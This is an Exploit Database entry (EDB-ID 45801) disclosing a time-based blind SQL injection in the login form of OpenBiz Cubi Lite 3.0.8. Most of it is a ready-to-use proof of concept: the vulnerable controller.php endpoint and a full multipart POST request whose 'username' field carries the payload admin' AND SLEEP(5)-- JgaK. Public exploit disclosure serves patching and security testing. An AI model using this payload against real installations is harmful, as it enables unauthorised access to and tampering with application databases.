



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection

EDB-ID:

45801

CVE:

N/A

EDB Verified: ✘

Author:

[AKKUS](#)

Type:

[WEBAPPS](#)

Exploit:  

Platform:

[PHP](#)

Date:

2018-11-06

Vulnerable App: 





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

# Exploit Title: OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection
# Date: ]2018-11-05
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: https://sourceforge.net/projects/bigchef/
# Software Link:
https://sourceforge.net/projects/bigchef/files/latest/download
# Version: v3.0.8
# Category: Webapps
# Tested on: XAMPP for Linux 1.7.2
# Description: Cubi Platform login page is prone to an SQL-injection
vulnerability.
# Exploiting this issue could allow an attacker to compromise the
application,
# access or modify data, or exploit latent vulnerabilities in the
underlying database.
#####
# PoC : SQLi :

# POST : POST
/bin/controller.php?F=RPCInvoke&P0=[user.form.LoginForm]&P1=
[Login]&__this=btn_login:onclick&__thisView=user.view.LoginView&jsrs=1
# Parameter: MULTIPART username ((custom) POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind

# Payload:

-----71911072106778878648823492
Content-Disposition: form-data; name="username"

admin' AND SLEEP(5)-- JgaK
-----71911072106778878648823492
Content-Disposition: form-data; name="password"

password
-----71911072106778878648823492
Content-Disposition: form-data; name="session_timeout"

Don't save session
-----71911072106778878648823492
Content-Disposition: form-data; name="session_timeout"

0
-----71911072106778878648823492
Content-Disposition: form-data; name="current_language"

English ( en_US )
-----71911072106778878648823492
Content-Disposition: form-data; name="current_language"

en_US
-----71911072106778878648823492
Content-Disposition: form-data; name="btn_client_login"

-----71911072106778878648823492--
---
```

Tags: [SQL Injection \(SQLi\)](#)Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.